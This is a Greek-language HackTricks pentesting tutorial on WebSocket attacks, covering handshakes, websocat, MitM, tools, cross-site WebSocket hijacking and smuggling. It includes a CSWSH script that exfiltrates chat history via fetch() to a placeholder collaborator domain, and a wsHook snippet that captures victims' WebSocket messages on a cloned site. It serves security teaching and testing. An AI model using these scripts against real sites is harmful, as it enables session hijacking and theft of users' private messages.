hacktricks/pentesting-web/websocket-attacks.md

184 lines
18 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# WebSocket Attacks
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## Τι είναι τα WebSockets
Οι συνδέσεις WebSocket δημιουργούνται μέσω μιας αρχικής **HTTP** χειραψίας και είναι σχεδιασμένες να είναι **μακροχρόνιες**, επιτρέποντας τη διπλής κατεύθυνσης επικοινωνία οποιαδήποτε στιγμή χωρίς την ανάγκη ενός συναλλακτικού συστήματος. Αυτό καθιστά τα WebSockets ιδιαίτερα ευνοϊκά για εφαρμογές που απαιτούν **χαμηλή καθυστέρηση ή επικοινωνία που ξεκινά από τον διακομιστή**, όπως οι ζωντανές ροές χρηματοοικονομικών δεδομένων.
### Δημιουργία Συνδέσεων WebSocket
Μια λεπτομερής εξήγηση για τη δημιουργία συνδέσεων WebSocket μπορεί να προσπελαστεί [**εδώ**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). Σε σύνοψη, οι συνδέσεις WebSocket συνήθως ξεκινούν μέσω JavaScript πλευράς πελάτη όπως φαίνεται παρακάτω:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
Ο πρωτόκολλος `wss` σηματοδοτεί μια σύνδεση WebSocket που είναι ασφαλής με **TLS**, ενώ το `ws` υποδηλώνει μια **μη ασφαλή** σύνδεση.
Κατά την εγκαθίδρυση της σύνδεσης, πραγματοποιείται μια διαδικασία χειραψίας μεταξύ του προγράμματος περιήγησης και του διακομιστή μέσω HTTP. Η διαδικασία χειραψίας περιλαμβάνει το πρόγραμμα περιήγησης να στέλνει ένα αίτημα και τον διακομιστή να απαντά, όπως απεικονίζεται στα παρακάτω παραδείγματα:
Ο προγράμματος περιήγησης στέλνει ένα αίτημα χειραψίας:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Απάντηση χειραψίας του διακομιστή:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
Η σύνδεση παραμένει ανοιχτή για ανταλλαγή μηνυμάτων και στις δύο κατευθύνσεις μόλις καθοριστεί.
**Βασικά Σημεία του WebSocket Handshake:**
- Οι κεφαλίδες `Connection` και `Upgrade` σηματοδοτούν την έναρξη ενός WebSocket handshake.
- Η κεφαλίδα `Sec-WebSocket-Version` υποδεικνύει την επιθυμητή έκδοση πρωτοκόλλου WebSocket, συνήθως `13`.
- Ένα τυχαίο Base64-κωδικοποιημένο τιμή αποστέλλεται στην κεφαλίδα `Sec-WebSocket-Key`, διασφαλίζοντας ότι κάθε handshake είναι μοναδικό, το οποίο βοηθά στην αποφυγή προβλημάτων με caching proxies. Αυτή η τιμή δεν προορίζεται για αυθεντικοποίηση αλλά για επιβεβαίωση ότι η απάντηση δεν έχει παραχθεί από έναν κακώς ρυθμισμένο διακομιστή ή cache.
- Η κεφαλίδα `Sec-WebSocket-Accept` στην απάντηση του διακομιστή είναι ένα hash της `Sec-WebSocket-Key`, επαληθεύοντας την πρόθεση του διακομιστή να ανοίξει μια σύνδεση WebSocket.
Αυτές οι δυνατότητες διασφαλίζουν ότι η διαδικασία handshake είναι ασφαλής και αξιόπιστη, ανοίγοντας το δρόμο για αποδοτική επικοινωνία σε πραγματικό χρόνο.
### Linux console
Μπορείτε να χρησιμοποιήσετε το `websocat` για να καθορίσετε μια ακατέργαστη σύνδεση με ένα websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
Ή για να δημιουργήσετε έναν διακομιστή websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### MitM websocket connections
Αν διαπιστώσετε ότι οι πελάτες είναι συνδεδεμένοι σε ένα **HTTP websocket** από το τρέχον τοπικό σας δίκτυο, μπορείτε να δοκιμάσετε μια [ARP Spoofing Attack ](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing)για να εκτελέσετε μια επίθεση MitM μεταξύ του πελάτη και του διακομιστή.\
Μόλις ο πελάτης προσπαθήσει να συνδεθεί, μπορείτε στη συνέχεια να χρησιμοποιήσετε:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Websockets enumeration
Μπορείτε να χρησιμοποιήσετε το **tool** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **για να ανακαλύψετε, να αναγνωρίσετε και να αναζητήσετε γνωστές** **ευπάθειες** **σε websockets αυτόματα.**
### Websocket Debug tools
* **Burp Suite** υποστηρίζει την επικοινωνία MitM websockets με πολύ παρόμοιο τρόπο όπως το κάνει για την κανονική HTTP επικοινωνία.
* Η [**socketsleuth**](https://github.com/snyk/socketsleuth) **επέκταση του Burp Suite** θα σας επιτρέψει να διαχειριστείτε καλύτερα τις επικοινωνίες Websocket στο Burp αποκτώντας το **ιστορικό**, ρυθμίζοντας **κανόνες παρεμβολής**, χρησιμοποιώντας **κανόνες αντιστοίχισης και αντικατάστασης**, χρησιμοποιώντας **Intruder** και **AutoRepeater.**
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Συντομογραφία για "**WebSocket/Socket.io Proxy**", αυτό το εργαλείο, γραμμένο σε Node.js, παρέχει μια διεπαφή χρήστη για **καταγραφή, παρεμβολή, αποστολή προσαρμοσμένων** μηνυμάτων και προβολή όλων των επικοινωνιών WebSocket και Socket.IO μεταξύ του πελάτη και του διακομιστή.
* [**wsrepl**](https://github.com/doyensec/wsrepl) είναι ένα **διαδραστικό websocket REPL** σχεδιασμένο ειδικά για penetration testing. Παρέχει μια διεπαφή για την παρακολούθηση **εισερχόμενων μηνυμάτων websocket και αποστολής νέων**, με ένα εύχρηστο πλαίσιο για **αυτοματοποίηση** αυτής της επικοινωνίας.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) είναι μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) μεταξύ άλλων τύπων επικοινωνιών/πρωτοκόλλων, παρέχει μια **ιστοσελίδα για επικοινωνία** με άλλες ιστοσελίδες χρησιμοποιώντας **websockets.**
## Websocket Lab
Στο [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) έχετε έναν κώδικα για να εκκινήσετε μια ιστοσελίδα χρησιμοποιώντας websockets και σε [**αυτή την ανάρτηση**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) μπορείτε να βρείτε μια εξήγηση.
## Cross-site WebSocket hijacking (CSWSH)
**Cross-site WebSocket hijacking**, γνωστό και ως **cross-origin WebSocket hijacking**, αναγνωρίζεται ως μια συγκεκριμένη περίπτωση **[Cross-Site Request Forgery (CSRF)](csrf-cross-site-request-forgery.md)** που επηρεάζει τις χειραψίες WebSocket. Αυτή η ευπάθεια προκύπτει όταν οι χειραψίες WebSocket αυθεντικοποιούνται αποκλειστικά μέσω **HTTP cookies** χωρίς **CSRF tokens** ή παρόμοια μέτρα ασφαλείας.
Οι επιτιθέμενοι μπορούν να εκμεταλλευτούν αυτό φιλοξενώντας μια **κακόβουλη ιστοσελίδα** που ξεκινά μια διασυνοριακή σύνδεση WebSocket σε μια ευάλωτη εφαρμογή. Ως εκ τούτου, αυτή η σύνδεση θεωρείται μέρος της συνεδρίας του θύματος με την εφαρμογή, εκμεταλλευόμενη την έλλειψη προστασίας CSRF στον μηχανισμό διαχείρισης συνεδριών.
### Simple Attack
Σημειώστε ότι όταν **ιδρύεται** μια **websocket** σύνδεση, το **cookie** **αποστέλλεται** στον διακομιστή. Ο **διακομιστής** μπορεί να το χρησιμοποιεί για να **σχετίσει** κάθε **συγκεκριμένο** **χρήστη** με τη **συνεδρία websocket** του βασισμένο στο αποσταλθέν cookie.
Έτσι, αν για **παράδειγμα** ο **websocket** **διακομιστής** **επιστρέψει το ιστορικό της συνομιλίας** ενός χρήστη αν αποσταλεί ένα μήνυμα με "**READY"**, τότε μια **απλή XSS** που ιδρύει τη σύνδεση (το **cookie** θα αποσταλεί **αυτόματα** για να εξουσιοδοτήσει τον θύμα χρήστη) **στέλνοντας** "**READY**" θα είναι σε θέση να **ανακτήσει** το ιστορικό της **συνομιλίας**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
Σε αυτή την ανάρτηση του blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) ο επιτιθέμενος κατάφερε να **εκτελέσει αυθαίρετο Javascript σε ένα υποτομέα** του τομέα όπου γινόταν η επικοινωνία μέσω web socket. Επειδή ήταν **υποτομέας**, το **cookie** αποστέλλονταν, και επειδή το **Websocket δεν έλεγξε σωστά την προέλευση**, ήταν δυνατό να επικοινωνήσει μαζί του και να **κλέψει tokens από αυτό**.
### Stealing data from user
Αντιγράψτε την web εφαρμογή που θέλετε να μιμηθείτε (τα αρχεία .html για παράδειγμα) και μέσα στο σενάριο όπου γίνεται η επικοινωνία μέσω websocket προσθέστε αυτόν τον κώδικα:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Τώρα κατεβάστε το αρχείο `wsHook.js` από [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) και **αποθηκεύστε το μέσα στον φάκελο με τα αρχεία ιστού**.\
Εκθέτοντας την εφαρμογή ιστού και κάνοντάς την να συνδεθεί ένας χρήστης, θα μπορείτε να κλέψετε τα μηνύματα που αποστέλλονται και λαμβάνονται μέσω websocket:
```javascript
sudo python3 -m http.server 80
```
## Συνθήκες Αγώνα
Οι Συνθήκες Αγώνα στα WebSockets είναι επίσης ένα θέμα, [ελέγξτε αυτές τις πληροφορίες για να μάθετε περισσότερα](race-condition.md#rc-in-websockets).
## Άλλες ευπάθειες
Καθώς τα Web Sockets είναι ένας μηχανισμός για **να στέλνουν δεδομένα στον διακομιστή και στον πελάτη**, ανάλογα με το πώς ο διακομιστής και ο πελάτης χειρίζονται τις πληροφορίες, **τα Web Sockets μπορούν να χρησιμοποιηθούν για να εκμεταλλευτούν πολλές άλλες ευπάθειες όπως XSS, SQLi ή οποιαδήποτε άλλη κοινή ευπάθεια ιστού χρησιμοποιώντας είσοδο ενός χρήστη από ένα websocket.**
## **WebSocket Smuggling**
Αυτή η ευπάθεια θα μπορούσε να σας επιτρέψει να **παρακάμψετε τους περιορισμούς των αντίστροφων διακομιστών μεσολάβησης** κάνοντάς τους να πιστεύουν ότι μια **επικοινωνία websocket έχει καθιερωθεί** (ακόμα και αν δεν είναι αλήθεια). Αυτό θα μπορούσε να επιτρέψει σε έναν επιτιθέμενο να **πρόσβαση σε κρυφές τελικές σημεία**. Για περισσότερες πληροφορίες, ελέγξτε την παρακάτω σελίδα:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## Αναφορές
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Υποστήριξη HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}